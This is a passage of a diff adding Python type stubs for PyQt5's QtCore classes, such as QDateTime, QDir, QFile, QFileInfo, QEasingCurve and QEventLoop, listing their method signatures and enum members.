datetime.time], spec: Qt.TimeSpec, offsetSeconds: int) -> None: ... + @typing.overload + def __init__(self, date: typing.Union[QDate, datetime.date], time: typing.Union[QTime, datetime.time], timeZone: 'QTimeZone') -> None: ... + + @staticmethod + def currentSecsSinceEpoch() -> int: ... + @typing.overload + @staticmethod + def fromSecsSinceEpoch(secs: int, spec: Qt.TimeSpec = ..., offsetSeconds: int = ...) -> 'QDateTime': ... + @typing.overload + @staticmethod + def fromSecsSinceEpoch(secs: int, timeZone: 'QTimeZone') -> 'QDateTime': ... + def setSecsSinceEpoch(self, secs: int) -> None: ... + def toSecsSinceEpoch(self) -> int: ... + def toTimeZone(self, toZone: 'QTimeZone') -> 'QDateTime': ... + def toOffsetFromUtc(self, offsetSeconds: int) -> 'QDateTime': ... + def setTimeZone(self, toZone: 'QTimeZone') -> None: ... + def setOffsetFromUtc(self, offsetSeconds: int) -> None: ... + def isDaylightTime(self) -> bool: ... + def timeZoneAbbreviation(self) -> str: ... + def timeZone(self) -> 'QTimeZone': ... + def offsetFromUtc(self) -> int: ... + def swap(self, other: 'QDateTime') -> None: ... + @staticmethod + def currentMSecsSinceEpoch() -> int: ... + @typing.overload + @staticmethod + def fromMSecsSinceEpoch(msecs: int) -> 'QDateTime': ... + @typing.overload + @staticmethod + def fromMSecsSinceEpoch(msecs: int, spec: Qt.TimeSpec, offsetSeconds: int = ...) -> 'QDateTime': ... + @typing.overload + @staticmethod + def fromMSecsSinceEpoch(msecs: int, timeZone: 'QTimeZone') -> 'QDateTime': ... + @staticmethod + def currentDateTimeUtc() -> 'QDateTime': ... + def msecsTo(self, a0: typing.Union['QDateTime', datetime.datetime]) -> int: ... + def setMSecsSinceEpoch(self, msecs: int) -> None: ... + def toMSecsSinceEpoch(self) -> int: ... + @typing.overload + @staticmethod + def fromTime_t(secsSince1Jan1970UTC: int) -> 'QDateTime': ... + @typing.overload + @staticmethod + def fromTime_t(secsSince1Jan1970UTC: int, spec: Qt.TimeSpec, offsetSeconds: int = ...) -> 'QDateTime': ... + @typing.overload + @staticmethod + def fromTime_t(secsSince1Jan1970UTC: int, timeZone: 'QTimeZone') -> 'QDateTime': ... + @typing.overload + @staticmethod + def fromString(string: str, format: Qt.DateFormat = ...) -> 'QDateTime': ... + @typing.overload + @staticmethod + def fromString(s: str, format: str) -> 'QDateTime': ... + @typing.overload + @staticmethod + def fromString(s: str, format: str, cal: QCalendar) -> 'QDateTime': ... + @staticmethod + def currentDateTime() -> 'QDateTime': ... + def secsTo(self, a0: typing.Union['QDateTime', datetime.datetime]) -> int: ... + def daysTo(self, a0: typing.Union['QDateTime', datetime.datetime]) -> int: ... + def toUTC(self) -> 'QDateTime': ... + def toLocalTime(self) -> 'QDateTime': ... + def toTimeSpec(self, spec: Qt.TimeSpec) -> 'QDateTime': ... + def addMSecs(self, msecs: int) -> 'QDateTime': ... + def addSecs(self, secs: int) -> 'QDateTime': ... + def addYears(self, years: int) -> 'QDateTime': ... + def addMonths(self, months: int) -> 'QDateTime': ... + def addDays(self, days: int) -> 'QDateTime': ... + @typing.overload + def toString(self, format: Qt.DateFormat = ...) -> str: ... + @typing.overload + def toString(self, format: str) -> str: ... + @typing.overload + def toString(self, format: str, cal: QCalendar) -> str: ... + def setTime_t(self, secsSince1Jan1970UTC: int) -> None: ... + def setTimeSpec(self, spec: Qt.TimeSpec) -> None: ... + def setTime(self, time: typing.Union[QTime, datetime.time]) -> None: ... + def setDate(self, date: typing.Union[QDate, datetime.date]) -> None: ... + def toTime_t(self) -> int: ... + def timeSpec(self) -> Qt.TimeSpec: ... + def time(self) -> QTime: ... + def date(self) -> QDate: ... + def isValid(self) -> bool: ... + def __bool__(self) -> int: ... + def isNull(self) -> bool: ... + def toPyDateTime(self) -> datetime.datetime: ... + def __hash__(self) -> int: ... + def __repr__(self) -> str: ... + + +class QDeadlineTimer(sip.simplewrapper): + + class ForeverConstant(int): + Forever = ... # type: QDeadlineTimer.ForeverConstant + + @typing.overload + def __init__(self, type: Qt.TimerType = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QDeadlineTimer.ForeverConstant', type: Qt.TimerType = ...) -> None: ... + @typing.overload + def __init__(self, msecs: int, type: Qt.TimerType = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QDeadlineTimer') -> None: ... + + @staticmethod + def current(type: Qt.TimerType = ...) -> 'QDeadlineTimer': ... + @staticmethod + def addNSecs(dt: 'QDeadlineTimer', nsecs: int) -> 'QDeadlineTimer': ... + def setPreciseDeadline(self, secs: int, nsecs: int = ..., type: Qt.TimerType = ...) -> None: ... + def setDeadline(self, msecs: int, type: Qt.TimerType = ...) -> None: ... + def deadlineNSecs(self) -> int: ... + def deadline(self) -> int: ... + def setPreciseRemainingTime(self, secs: int, nsecs: int = ..., type: Qt.TimerType = ...) -> None: ... + def setRemainingTime(self, msecs: int, type: Qt.TimerType = ...) -> None: ... + def remainingTimeNSecs(self) -> int: ... + def remainingTime(self) -> int: ... + def setTimerType(self, type: Qt.TimerType) -> None: ... + def timerType(self) -> Qt.TimerType: ... + def hasExpired(self) -> bool: ... + def isForever(self) -> bool: ... + def swap(self, other: 'QDeadlineTimer') -> None: ... + + +class QDir(sip.simplewrapper): + + class SortFlag(int): + Name = ... # type: QDir.SortFlag + Time = ... # type: QDir.SortFlag + Size = ... # type: QDir.SortFlag + Unsorted = ... # type: QDir.SortFlag + SortByMask = ... # type: QDir.SortFlag + DirsFirst = ... # type: QDir.SortFlag + Reversed = ... # type: QDir.SortFlag + IgnoreCase = ... # type: QDir.SortFlag + DirsLast = ... # type: QDir.SortFlag + LocaleAware = ... # type: QDir.SortFlag + Type = ... # type: QDir.SortFlag + NoSort = ... # type: QDir.SortFlag + + class Filter(int): + Dirs = ... # type: QDir.Filter + Files = ... # type: QDir.Filter + Drives = ... # type: QDir.Filter + NoSymLinks = ... # type: QDir.Filter + AllEntries = ... # type: QDir.Filter + TypeMask = ... # type: QDir.Filter + Readable = ... # type: QDir.Filter + Writable = ... # type: QDir.Filter + Executable = ... # type: QDir.Filter + PermissionMask = ... # type: QDir.Filter + Modified = ... # type: QDir.Filter + Hidden = ... # type: QDir.Filter + System = ... # type: QDir.Filter + AccessMask = ... # type: QDir.Filter + AllDirs = ... # type: QDir.Filter + CaseSensitive = ... # type: QDir.Filter + NoDotAndDotDot = ... # type: QDir.Filter + NoFilter = ... # type: QDir.Filter + NoDot = ... # type: QDir.Filter + NoDotDot = ... # type: QDir.Filter + + class Filters(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QDir.Filters', 'QDir.Filter']) -> None: ... + @typing.overload + def __init__(self, a0: 'QDir.Filters') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QDir.Filters': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class SortFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QDir.SortFlags', 'QDir.SortFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QDir.SortFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QDir.SortFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, a0: 'QDir') -> None: ... + @typing.overload + def __init__(self, path: str = ...) -> None: ... + @typing.overload + def __init__(self, path: str, nameFilter: str, sort: 'QDir.SortFlags' = ..., filters: 'QDir.Filters' = ...) -> None: ... + + def isEmpty(self, filters: typing.Union['QDir.Filters', 'QDir.Filter'] = ...) -> bool: ... + @staticmethod + def listSeparator() -> str: ... + def swap(self, other: 'QDir') -> None: ... + def removeRecursively(self) -> bool: ... + @staticmethod + def searchPaths(prefix: str) -> typing.List[str]: ... + @staticmethod + def addSearchPath(prefix: str, path: str) -> None: ... + @staticmethod + def setSearchPaths(prefix: str, searchPaths: typing.Iterable[str]) -> None: ... + @staticmethod + def fromNativeSeparators(pathName: str) -> str: ... + @staticmethod + def toNativeSeparators(pathName: str) -> str: ... + @staticmethod + def cleanPath(path: str) -> str: ... + @typing.overload + @staticmethod + def match(filters: typing.Iterable[str], fileName: str) -> bool: ... + @typing.overload + @staticmethod + def match(filter: str, fileName: str) -> bool: ... + @staticmethod + def tempPath() -> str: ... + @staticmethod + def temp() -> 'QDir': ... + @staticmethod + def rootPath() -> str: ... + @staticmethod + def root() -> 'QDir': ... + @staticmethod + def homePath() -> str: ... + @staticmethod + def home() -> 'QDir': ... + @staticmethod + def currentPath() -> str: ... + @staticmethod + def current() -> 'QDir': ... + @staticmethod + def setCurrent(path: str) -> bool: ... + @staticmethod + def separator() -> str: ... + @staticmethod + def drives() -> typing.List['QFileInfo']: ... + def refresh(self) -> None: ... + def rename(self, oldName: str, newName: str) -> bool: ... + def remove(self, fileName: str) -> bool: ... + def makeAbsolute(self) -> bool: ... + def isAbsolute(self) -> bool: ... + def isRelative(self) -> bool: ... + @staticmethod + def isAbsolutePath(path: str) -> bool: ... + @staticmethod + def isRelativePath(path: str) -> bool: ... + def isRoot(self) -> bool: ... + @typing.overload + def exists(self) -> bool: ... + @typing.overload + def exists(self, name: str) -> bool: ... + def isReadable(self) -> bool: ... + def rmpath(self, dirPath: str) -> bool: ... + def mkpath(self, dirPath: str) -> bool: ... + def rmdir(self, dirName: str) -> bool: ... + def mkdir(self, dirName: str) -> bool: ... + @typing.overload + def entryInfoList(self, filters: typing.Union['QDir.Filters', 'QDir.Filter'] = ..., sort: typing.Union['QDir.SortFlags', 'QDir.SortFlag'] = ...) -> typing.List['QFileInfo']: ... + @typing.overload + def entryInfoList(self, nameFilters: typing.Iterable[str], filters: typing.Union['QDir.Filters', 'QDir.Filter'] = ..., sort: typing.Union['QDir.SortFlags', 'QDir.SortFlag'] = ...) -> typing.List['QFileInfo']: ... + @typing.overload + def entryList(self, filters: typing.Union['QDir.Filters', 'QDir.Filter'] = ..., sort: typing.Union['QDir.SortFlags', 'QDir.SortFlag'] = ...) -> typing.List[str]: ... + @typing.overload + def entryList(self, nameFilters: typing.Iterable[str], filters: typing.Union['QDir.Filters', 'QDir.Filter'] = ..., sort: typing.Union['QDir.SortFlags', 'QDir.SortFlag'] = ...) -> typing.List[str]: ... + @staticmethod + def nameFiltersFromString(nameFilter: str) -> typing.List[str]: ... + def __contains__(self, a0: str) -> int: ... + @typing.overload + def __getitem__(self, a0: int) -> str: ... + @typing.overload + def __getitem__(self, a0: slice) -> typing.List[str]: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + def setSorting(self, sort: typing.Union['QDir.SortFlags', 'QDir.SortFlag']) -> None: ... + def sorting(self) -> 'QDir.SortFlags': ... + def setFilter(self, filter: typing.Union['QDir.Filters', 'QDir.Filter']) -> None: ... + def filter(self) -> 'QDir.Filters': ... + def setNameFilters(self, nameFilters: typing.Iterable[str]) -> None: ... + def nameFilters(self) -> typing.List[str]: ... + def cdUp(self) -> bool: ... + def cd(self, dirName: str) -> bool: ... + def relativeFilePath(self, fileName: str) -> str: ... + def absoluteFilePath(self, fileName: str) -> str: ... + def filePath(self, fileName: str) -> str: ... + def dirName(self) -> str: ... + def canonicalPath(self) -> str: ... + def absolutePath(self) -> str: ... + def path(self) -> str: ... + def setPath(self, path: str) -> None: ... + + +class QDirIterator(sip.simplewrapper): + + class IteratorFlag(int): + NoIteratorFlags = ... # type: QDirIterator.IteratorFlag + FollowSymlinks = ... # type: QDirIterator.IteratorFlag + Subdirectories = ... # type: QDirIterator.IteratorFlag + + class IteratorFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QDirIterator.IteratorFlags', 'QDirIterator.IteratorFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QDirIterator.IteratorFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QDirIterator.IteratorFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, dir: QDir, flags: 'QDirIterator.IteratorFlags' = ...) -> None: ... + @typing.overload + def __init__(self, path: str, flags: 'QDirIterator.IteratorFlags' = ...) -> None: ... + @typing.overload + def __init__(self, path: str, filters: QDir.Filters, flags: 'QDirIterator.IteratorFlags' = ...) -> None: ... + @typing.overload + def __init__(self, path: str, nameFilters: typing.Iterable[str], filters: QDir.Filters = ..., flags: 'QDirIterator.IteratorFlags' = ...) -> None: ... + + def path(self) -> str: ... + def fileInfo(self) -> 'QFileInfo': ... + def filePath(self) -> str: ... + def fileName(self) -> str: ... + def hasNext(self) -> bool: ... + def next(self) -> str: ... + + +class QEasingCurve(sip.simplewrapper): + + class Type(int): + Linear = ... # type: QEasingCurve.Type + InQuad = ... # type: QEasingCurve.Type + OutQuad = ... # type: QEasingCurve.Type + InOutQuad = ... # type: QEasingCurve.Type + OutInQuad = ... # type: QEasingCurve.Type + InCubic = ... # type: QEasingCurve.Type + OutCubic = ... # type: QEasingCurve.Type + InOutCubic = ... # type: QEasingCurve.Type + OutInCubic = ... # type: QEasingCurve.Type + InQuart = ... # type: QEasingCurve.Type + OutQuart = ... # type: QEasingCurve.Type + InOutQuart = ... # type: QEasingCurve.Type + OutInQuart = ... # type: QEasingCurve.Type + InQuint = ... # type: QEasingCurve.Type + OutQuint = ... # type: QEasingCurve.Type + InOutQuint = ... # type: QEasingCurve.Type + OutInQuint = ... # type: QEasingCurve.Type + InSine = ... # type: QEasingCurve.Type + OutSine = ... # type: QEasingCurve.Type + InOutSine = ... # type: QEasingCurve.Type + OutInSine = ... # type: QEasingCurve.Type + InExpo = ... # type: QEasingCurve.Type + OutExpo = ... # type: QEasingCurve.Type + InOutExpo = ... # type: QEasingCurve.Type + OutInExpo = ... # type: QEasingCurve.Type + InCirc = ... # type: QEasingCurve.Type + OutCirc = ... # type: QEasingCurve.Type + InOutCirc = ... # type: QEasingCurve.Type + OutInCirc = ... # type: QEasingCurve.Type + InElastic = ... # type: QEasingCurve.Type + OutElastic = ... # type: QEasingCurve.Type + InOutElastic = ... # type: QEasingCurve.Type + OutInElastic = ... # type: QEasingCurve.Type + InBack = ... # type: QEasingCurve.Type + OutBack = ... # type: QEasingCurve.Type + InOutBack = ... # type: QEasingCurve.Type + OutInBack = ... # type: QEasingCurve.Type + InBounce = ... # type: QEasingCurve.Type + OutBounce = ... # type: QEasingCurve.Type + InOutBounce = ... # type: QEasingCurve.Type + OutInBounce = ... # type: QEasingCurve.Type + InCurve = ... # type: QEasingCurve.Type + OutCurve = ... # type: QEasingCurve.Type + SineCurve = ... # type: QEasingCurve.Type + CosineCurve = ... # type: QEasingCurve.Type + BezierSpline = ... # type: QEasingCurve.Type + TCBSpline = ... # type: QEasingCurve.Type + Custom = ... # type: QEasingCurve.Type + + @typing.overload + def __init__(self, type: 'QEasingCurve.Type' = ...) -> None: ... + @typing.overload + def __init__(self, other: typing.Union['QEasingCurve', 'QEasingCurve.Type']) -> None: ... + + def toCubicSpline(self) -> typing.List['QPointF']: ... + def addTCBSegment(self, nextPoint: typing.Union['QPointF', 'QPoint'], t: float, c: float, b: float) -> None: ... + def addCubicBezierSegment(self, c1: typing.Union['QPointF', 'QPoint'], c2: typing.Union['QPointF', 'QPoint'], endPoint: typing.Union['QPointF', 'QPoint']) -> None: ... + def swap(self, other: 'QEasingCurve') -> None: ... + def valueForProgress(self, progress: float) -> float: ... + def customType(self) -> typing.Callable[[float], float]: ... + def setCustomType(self, func: typing.Callable[[float], float]) -> None: ... + def setType(self, type: 'QEasingCurve.Type') -> None: ... + def type(self) -> 'QEasingCurve.Type': ... + def setOvershoot(self, overshoot: float) -> None: ... + def overshoot(self) -> float: ... + def setPeriod(self, period: float) -> None: ... + def period(self) -> float: ... + def setAmplitude(self, amplitude: float) -> None: ... + def amplitude(self) -> float: ... + + +class QElapsedTimer(sip.simplewrapper): + + class ClockType(int): + SystemTime = ... # type: QElapsedTimer.ClockType + MonotonicClock = ... # type: QElapsedTimer.ClockType + TickCounter = ... # type: QElapsedTimer.ClockType + MachAbsoluteTime = ... # type: QElapsedTimer.ClockType + PerformanceCounter = ... # type: QElapsedTimer.ClockType + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QElapsedTimer') -> None: ... + + def nsecsElapsed(self) -> int: ... + def secsTo(self, other: 'QElapsedTimer') -> int: ... + def msecsTo(self, other: 'QElapsedTimer') -> int: ... + def msecsSinceReference(self) -> int: ... + def hasExpired(self, timeout: int) -> bool: ... + def elapsed(self) -> int: ... + def isValid(self) -> bool: ... + def invalidate(self) -> None: ... + def restart(self) -> int: ... + def start(self) -> None: ... + @staticmethod + def isMonotonic() -> bool: ... + @staticmethod + def clockType() -> 'QElapsedTimer.ClockType': ... + + +class QEventLoop(QObject): + + class ProcessEventsFlag(int): + AllEvents = ... # type: QEventLoop.ProcessEventsFlag + ExcludeUserInputEvents = ... # type: QEventLoop.ProcessEventsFlag + ExcludeSocketNotifiers = ... # type: QEventLoop.ProcessEventsFlag + WaitForMoreEvents = ... # type: QEventLoop.ProcessEventsFlag + X11ExcludeTimers = ... # type: QEventLoop.ProcessEventsFlag + + class ProcessEventsFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QEventLoop.ProcessEventsFlags', 'QEventLoop.ProcessEventsFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QEventLoop.ProcessEventsFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QEventLoop.ProcessEventsFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def event(self, event: QEvent) -> bool: ... + def quit(self) -> None: ... + def wakeUp(self) -> None: ... + def isRunning(self) -> bool: ... + def exit(self, returnCode: int = ...) -> None: ... + def exec(self, flags: 'QEventLoop.ProcessEventsFlags' = ...) -> int: ... + def exec_(self, flags: 'QEventLoop.ProcessEventsFlags' = ...) -> int: ... + @typing.overload + def processEvents(self, flags: typing.Union['QEventLoop.ProcessEventsFlags', 'QEventLoop.ProcessEventsFlag'] = ...) -> bool: ... + @typing.overload + def processEvents(self, flags: typing.Union['QEventLoop.ProcessEventsFlags', 'QEventLoop.ProcessEventsFlag'], maximumTime: int) -> None: ... + + +class QEventLoopLocker(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, loop: QEventLoop) -> None: ... + @typing.overload + def __init__(self, thread: 'QThread') -> None: ... + + +class QEventTransition(QAbstractTransition): + + @typing.overload + def __init__(self, sourceState: typing.Optional['QState'] = ...) -> None: ... + @typing.overload + def __init__(self, object: QObject, type: QEvent.Type, sourceState: typing.Optional['QState'] = ...) -> None: ... + + def event(self, e: QEvent) -> bool: ... + def onTransition(self, event: QEvent) -> None: ... + def eventTest(self, event: QEvent) -> bool: ... + def setEventType(self, type: QEvent.Type) -> None: ... + def eventType(self) -> QEvent.Type: ... + def setEventSource(self, object: QObject) -> None: ... + def eventSource(self) -> QObject: ... + + +class QFileDevice(QIODevice): + + class FileTime(int): + FileAccessTime = ... # type: QFileDevice.FileTime + FileBirthTime = ... # type: QFileDevice.FileTime + FileMetadataChangeTime = ... # type: QFileDevice.FileTime + FileModificationTime = ... # type: QFileDevice.FileTime + + class MemoryMapFlags(int): + NoOptions = ... # type: QFileDevice.MemoryMapFlags + MapPrivateOption = ... # type: QFileDevice.MemoryMapFlags + + class FileHandleFlag(int): + AutoCloseHandle = ... # type: QFileDevice.FileHandleFlag + DontCloseHandle = ... # type: QFileDevice.FileHandleFlag + + class Permission(int): + ReadOwner = ... # type: QFileDevice.Permission + WriteOwner = ... # type: QFileDevice.Permission + ExeOwner = ... # type: QFileDevice.Permission + ReadUser = ... # type: QFileDevice.Permission + WriteUser = ... # type: QFileDevice.Permission + ExeUser = ... # type: QFileDevice.Permission + ReadGroup = ... # type: QFileDevice.Permission + WriteGroup = ... # type: QFileDevice.Permission + ExeGroup = ... # type: QFileDevice.Permission + ReadOther = ... # type: QFileDevice.Permission + WriteOther = ... # type: QFileDevice.Permission + ExeOther = ... # type: QFileDevice.Permission + + class FileError(int): + NoError = ... # type: QFileDevice.FileError + ReadError = ... # type: QFileDevice.FileError + WriteError = ... # type: QFileDevice.FileError + FatalError = ... # type: QFileDevice.FileError + ResourceError = ... # type: QFileDevice.FileError + OpenError = ... # type: QFileDevice.FileError + AbortError = ... # type: QFileDevice.FileError + TimeOutError = ... # type: QFileDevice.FileError + UnspecifiedError = ... # type: QFileDevice.FileError + RemoveError = ... # type: QFileDevice.FileError + RenameError = ... # type: QFileDevice.FileError + PositionError = ... # type: QFileDevice.FileError + ResizeError = ... # type: QFileDevice.FileError + PermissionsError = ... # type: QFileDevice.FileError + CopyError = ... # type: QFileDevice.FileError + + class Permissions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QFileDevice.Permissions', 'QFileDevice.Permission']) -> None: ... + @typing.overload + def __init__(self, a0: 'QFileDevice.Permissions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QFileDevice.Permissions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class FileHandleFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QFileDevice.FileHandleFlags', 'QFileDevice.FileHandleFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QFileDevice.FileHandleFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QFileDevice.FileHandleFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def setFileTime(self, newDate: typing.Union[QDateTime, datetime.datetime], fileTime: 'QFileDevice.FileTime') -> bool: ... + def fileTime(self, time: 'QFileDevice.FileTime') -> QDateTime: ... + def readLineData(self, maxlen: int) -> bytes: ... + def writeData(self, data: bytes) -> int: ... + def readData(self, maxlen: int) -> bytes: ... + def unmap(self, address: PyQt5.sip.voidptr) -> bool: ... + def map(self, offset: int, size: int, flags: 'QFileDevice.MemoryMapFlags' = ...) -> PyQt5.sip.voidptr: ... + def setPermissions(self, permissionSpec: typing.Union['QFileDevice.Permissions', 'QFileDevice.Permission']) -> bool: ... + def permissions(self) -> 'QFileDevice.Permissions': ... + def resize(self, sz: int) -> bool: ... + def size(self) -> int: ... + def flush(self) -> bool: ... + def atEnd(self) -> bool: ... + def seek(self, offset: int) -> bool: ... + def pos(self) -> int: ... + def fileName(self) -> str: ... + def handle(self) -> int: ... + def isSequential(self) -> bool: ... + def close(self) -> None: ... + def unsetError(self) -> None: ... + def error(self) -> 'QFileDevice.FileError': ... + + +class QFile(QFileDevice): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, name: str) -> None: ... + @typing.overload + def __init__(self, parent: QObject) -> None: ... + @typing.overload + def __init__(self, name: str, parent: QObject) -> None: ... + + @typing.overload + def moveToTrash(self) -> bool: ... + @typing.overload + @staticmethod + def moveToTrash(fileName: str) -> typing.Tuple[bool, str]: ... + @typing.overload + def setPermissions(self, permissionSpec: typing.Union[QFileDevice.Permissions, QFileDevice.Permission]) -> bool: ... + @typing.overload + @staticmethod + def setPermissions(filename: str, permissionSpec: typing.Union[QFileDevice.Permissions, QFileDevice.Permission]) -> bool: ... + @typing.overload + def permissions(self) -> QFileDevice.Permissions: ... + @typing.overload + @staticmethod + def permissions(filename: str) -> QFileDevice.Permissions: ... + @typing.overload + def resize(self, sz: int) -> bool: ... + @typing.overload + @staticmethod + def resize(filename: str, sz: int) -> bool: ... + def size(self) -> int: ... + @typing.overload + def open(self, flags: typing.Union[QIODevice.OpenMode, QIODevice.OpenModeFlag]) -> bool: ... + @typing.overload + def open(self, fd: int, ioFlags: typing.Union[QIODevice.OpenMode, QIODevice.OpenModeFlag], handleFlags: typing.Union[QFileDevice.FileHandleFlags, QFileDevice.FileHandleFlag] = ...) -> bool: ... + @typing.overload + def copy(self, newName: str) -> bool: ... + @typing.overload + @staticmethod + def copy(fileName: str, newName: str) -> bool: ... + @typing.overload + def link(self, newName: str) -> bool: ... + @typing.overload + @staticmethod + def link(oldname: str, newName: str) -> bool: ... + @typing.overload + def rename(self, newName: str) -> bool: ... + @typing.overload + @staticmethod + def rename(oldName: str, newName: str) -> bool: ... + @typing.overload + def remove(self) -> bool: ... + @typing.overload + @staticmethod + def remove(fileName: str) -> bool: ... + @typing.overload + def symLinkTarget(self) -> str: ... + @typing.overload + @staticmethod + def symLinkTarget(fileName: str) -> str: ... + @typing.overload + def exists(self) -> bool: ... + @typing.overload + @staticmethod + def exists(fileName: str) -> bool: ... + @typing.overload + @staticmethod + def decodeName(localFileName: typing.Union[QByteArray, bytes, bytearray]) -> str: ... + @typing.overload + @staticmethod + def decodeName(localFileName: str) -> str: ... + @staticmethod + def encodeName(fileName: str) -> QByteArray: ... + def setFileName(self, name: str) -> None: ... + def fileName(self) -> str: ... + + +class QFileInfo(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, file: str) -> None: ... + @typing.overload + def __init__(self, file: QFile) -> None: ... + @typing.overload + def __init__(self, dir: QDir, file: str) -> None: ... + @typing.overload + def __init__(self, fileinfo: 'QFileInfo') -> None: ... + + def isJunction(self) -> bool: ... + def isShortcut(self) -> bool: ... + def isSymbolicLink(self) -> bool: ... + def fileTime(self, time: QFileDevice.FileTime) -> QDateTime: ... + def metadataChangeTime(self) -> QDateTime: ... + def birthTime(self) -> QDateTime: ... + def swap(self, other: 'QFileInfo') -> None: ... + def isNativePath(self) -> bool: ... + def isBundle(self) -> bool: ... + def bundleName(self) -> str: ... + def symLinkTarget(self) -> str: ... + def setCaching(self, on: bool) -> None: ... + def caching(self) -> bool: ... + def lastRead(self) -> QDateTime: ... + def lastModified(self) -> QDateTime: ... + def created(self) -> QDateTime: ... + def size(self) -> int: ... + def permissions(self) -> QFileDevice.Permissions: ... + def permission(self, permissions: typing.Union[QFileDevice.Permissions, QFileDevice.Permission]) -> bool: ... + def groupId(self) -> int: ... + def group(self) -> str: ... + def ownerId(self) -> int: ... + def owner(self) -> str: ... + def isRoot(self) -> bool: ... + def isSymLink(self) -> bool: ... + def isDir(self) -> bool: ... + def isFile(self) -> bool: ... + def makeAbsolute(self) -> bool: ... + def isAbsolute(self) -> bool: ... + def isRelative(self) -> bool: ... + def isHidden(self) -> bool: ... + def isExecutable(self) -> bool: ... + def isWritable(self) -> bool: ... + def isReadable(self) -> bool: ... + def absoluteDir(self) -> QDir: ... + def dir(self) -> QDir: ... + def canonicalPath(self) -> str: ... + def absolutePath(self) -> str: ... + def path(self) -> str: ... + def completeSuffix(self) -> str: ... + def suffix(self) -> str: ... + def completeBaseName(self) -> str: ... + def baseName(self) -> str: ... + def fileName(self) -> str: ... + def canonicalFilePath(self) -> str: ... + def absoluteFilePath(self) -> str: ... + def __fspath__(self) -> typing.Any: ... + def filePath(self) -> str: ... + def refresh(self) -> None: ... + @typing.overload + def exists(self) -> bool: ... + @typing.overload + @staticmethod + def exists(file: str) -> bool: ... + @typing.overload + def setFile(self, file: str) -> None: ... + @typing.overload + def setFile(self, file: QFile) -> None: ... + @typing.overload + def setFile(self, dir: QDir, file: str) -> None: ... + + +class QFileSelector(QObject): + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def allSelectors(self) -> typing.List[str]: ... + def setExtraSelectors(self, list: typing.Iterable[str]) -> None: ... + def extraSelectors(self) -> typing.List[str]: ... + @typing.overload + def select(self, filePath: str) -> str: ... + @typing.overload + def select(self, filePath: 'QUrl') -> 'QUrl': ... + + +class QFileSystemWatcher(QObject): + + @typing.overload + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, paths: typing.Iterable[str], parent: typing.Optional[QObject] = ...) -> None: ... + + def fileChanged(self, path: str) -> None: ... + def directoryChanged(self, path: str) -> None: ... + def removePaths(self, files: typing.Iterable[str]) -> typing.List[str]: ... + def removePath(self, file: str) -> bool: ... + def files(self) -> typing.List[str]: ... + def directories(self) -> typing.List[str]: ... + def addPaths(self, files: typing.Iterable[str]) -> typing.List[str]: ... + def addPath(self, file: str) -> bool: ... + + +class QFinalState(QAbstractState): + + def __init__(self, parent: typing.Optional['QState'] = ...) -> None: ... + + def event(self, e: QEvent) -> bool: ... + def onExit(self, event: QEvent) -> None: ... + def onEntry(self, event: QEvent) -> None: ... + + +class QHistoryState(QAbstractState): + + class HistoryType(int): + ShallowHistory = ... # type: QHistoryState.HistoryType + DeepHistory = ... # type: QHistoryState.HistoryType + + @typing.overload + def __init__(self, parent: typing.Optional['QState'] = ...) -> None: ... + @typing.overload + def __init__(self, type: 'QHistoryState.HistoryType', parent: typing.Optional['QState'] = ...) -> None: ... + + def defaultTransitionChanged(self) -> None: ... + def setDefaultTransition(self, transition: QAbstractTransition) -> None: ... + def defaultTransition(self) -> QAbstractTransition: ... + def historyTypeChanged(self) -> None: ... + def defaultStateChanged(self) -> None: ... + def event(self, e: QEvent) -> bool: ... + def onExit(self, event: QEvent) -> None: ... + def onEntry(self, event: QEvent) -> None: ... + def setHistoryType(self, type: 'QHistoryState.HistoryType') -> None: ... + def historyType(self) -> 'QHistoryState.HistoryType': ... + def setDefaultState(self, state: QAbstractState) -> None: ... + def defaultState(self) -> QAbstractState: ... + + +class QIdentityProxyModel(QAbstractProxyModel): + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def moveColumns(self, sourceParent: 